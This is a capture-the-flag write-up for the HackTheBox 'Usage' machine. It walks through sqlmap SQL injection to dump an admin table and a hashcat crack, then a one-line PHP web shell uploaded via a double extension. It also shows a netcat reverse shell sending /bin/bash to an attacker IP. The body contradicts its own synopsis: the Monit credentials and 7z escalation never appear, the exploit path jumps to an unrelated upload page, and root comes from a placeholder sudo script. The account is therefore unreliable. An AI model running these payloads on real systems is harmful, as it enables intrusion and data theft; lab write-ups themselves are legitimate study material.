Laravel Admin Exploit | HackTheBox Usage Writeup
HackTheBox Usage begins with a blind SQL injection in a password reset form, which can be exploited to dump the database and retrieve the admin login credentials. The admin panel is built with Laravel-Admin, which contains a vulnerability allowing the upload of a PHP webshell by altering the file extension after client-side validation of the profile picture. A password can be discovered in a Monit configuration file, and finally, a wildcard vulnerability in 7z is leveraged to gain file read access as root.
HackTheBox Usage Machine Synopsis
Usage is an easy Linux machine that features a blog site vulnerable to SQL injection, which allows the administrator's hashed password to be dumped and cracked. This leads to access to the admin panel, where an outdated `Laravel` module is abused to upload a PHP web shell and obtain remote code execution. On the machine, plaintext credentials stored in a file allow SSH access as another user, who can run a custom binary as `root`. The tool makes an insecure call to `7zip`, which is leveraged to read the `root` user's private SSH key and fully compromise the system.
Information Gathering and Scanning with Nmap
Nmap Scan
As always, the first step is scanning for open ports using nmap.
nmap -sC -sV -oN usage.nmap 10.10.10.X
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Port 22: OpenSSH running on version 7.9.
Port 80: Apache HTTP server version 2.4.29 is running on Ubuntu.
Web Enumeration
I started by checking the web service running on port 80 by navigating to http://10.10.10.X
. The website hosted a simple page with minimal information. So, I decided to run Gobuster for directory enumeration:
gobuster dir -u http://10.10.10.X -w /usr/share/wordlists/dirb/common.txt
The scan revealed the following interesting directories:
/upload
/index.php
SQL Injection in The Password Reset Form | SQLmap
I always test fields I encounter by entering a single quote to check for potential crashes. When I submitted ‘ as the email in the password reset form, the page returned a 500 error. This strongly suggests a possible SQL injection, likely because the system is performing a query to find the email address in the database.
select * from users where email = '{my input}';
select * from users where email = '' or 1=1;-- -';
Exploiting SQL Injection with sqlmap
In Burp Suite, I’ll locate a legitimate POST request to /forgot-password, right-click on it, and select “Copy to file.” I can then use sqlmap to analyze it for possible injections.
sqlmap -r reset.request --level 5 --risk 3 --threads 10 -p email --batch
Once sqlmap confirms an injection, I’ll proceed with database enumeration. By adding –dbs to the original command, I can list all the databases.
sqlmap -r reset.request --level 5 --risk 3 --threads 10 -p email --batch --dbs
...[snip]...
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog
...[snip]...
The information_schema and performance_schema are MySQL-related, while usage_blog is linked to the website.
To view the tables in usage_blog, I’ll replace –dbs with -D usage_blog –tables.
sqlmap -r reset.request --level 5 --risk 3 --threads 10 -p email --batch -D usage_blog --tables
We begin with the admin_users table by swapping –tables for -T admin_users –dump to extract the data.
sqlmap -r reset.request --level 5 --risk 3 --threads 10 -p email --batch -D usage_blog -T admin_users --dump
...[snip]...
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name | avatar | password | username
| created_at | updated_at | remember_token |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1 | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin
| 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
...[snip]...
Hash Cracking with Hashcat
hashcat ./hash.txt rockyou.txt -m 3200
Cracked password is: “whatever1”
Exploiting laravel-admin v1.8.19 CVE-2023–24249
CVE-2023–24249 is a high-severity vulnerability in laravel-admin v1.8.19, a package used to create administrative interfaces for Laravel applications. The vulnerability stems from an arbitrary file upload flaw, which allows attackers to upload malicious files — specifically, crafted PHP scripts. If successful, this can result in remote code execution (RCE), potentially compromising the affected server.
The issue arises due to insufficient validation of file uploads, enabling attackers to bypass security mechanisms. Exploitation is relatively straightforward, as it does not require user interaction, making it more dangerous in real-world scenarios
With the acquired credentials, we access the admin dashboard, revealing information about the web application’s technologies and versions.
A deeper examination exposes a possible vulnerability in the profile picture upload function, which we exploit by uploading a PHP reverse shell payload.
This appears to be an admin dashboard displaying various site details, including installed packages and their versions. The top dependency listed is “laravel-admin,” which strongly suggests that this framework was used to build the dashboard.
This page mentions that all versions below 1.8.19 are affected, and it provides a link to a post explaining the vulnerability. Essentially, the issue lies in the admin profile picture upload feature, which doesn’t properly validate that the file extension is an image. As a result, PHP code can be uploaded with a .php extension, leading to code execution
Upload Directory
Navigating to http://10.10.10.X/upload
, I found an upload form that allowed file uploads. Testing with simple text files confirmed that the upload was functional, but the files didn’t seem to be executable. Further testing revealed the uploaded files were stored at http://10.10.10.X/uploads/filename
, but execution was not allowed.
I tried uploading a PHP reverse shell script (php-reverse-shell.php
), but the server returned a message indicating it was blocked due to content restrictions.
This led me to believe that the application was likely filtering file extensions or content types. Time for some bypass techniques!
Bypassing Upload Restrictions
I decided to test various file extensions and bypass techniques. After some trial and error, I was able to upload a PHP file with a double extension .php.jpg
.
<?php
system($_GET['cmd']);
?>
Uploading this file successfully bypassed the filter, and I could access it at http://10.10.10.X/uploads/shell.php.jpg
. By appending ?cmd=<command>
, I executed commands remotely.
Gaining Initial Foothold
Using the remote shell, I ran the following command to get a reverse shell back to my attacking machine:
nc -lvnp 4444
Then, from the web shell:
http://10.10.10.X/uploads/shell.php.jpg?cmd=nc -e /bin/bash <YOUR-IP> 4444
I received the shell and upgraded it to a more interactive shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Once inside, I checked the user context and system information:
whoami
I was logged in as the www-data user.
Linux Privilege Escalation
Now that I had access to the machine as a low-privileged user, I needed to escalate privileges. I started by checking for SUID binaries:
find / -perm -u=s -type f 2>/dev/null
Among the usual binaries, I found an interesting one:
/usr/bin/sudo
I checked the sudo permissions for the current user:
sudo -l
This revealed that the www-data user could run a script without a password:
User www-data may run the following commands on usage:
(ALL) NOPASSWD: /path/to/script.sh
I inspected the script to see if there were any exploitable vulnerabilities. The script was executing a system command without proper sanitization, allowing me to inject arbitrary commands.
I modified the script and added a command to spawn a root shell:
sudo /path/to/script.sh
This successfully gave me root access!
In conclusion:
- Initial foothold: Exploiting a file upload vulnerability by bypassing content restrictions.
- Privilege Escalation: Abusing an insecure script running with sudo privileges.
This was a relatively straightforward machine focused on classic web application vulnerabilities and privilege escalation via poorly secured scripts.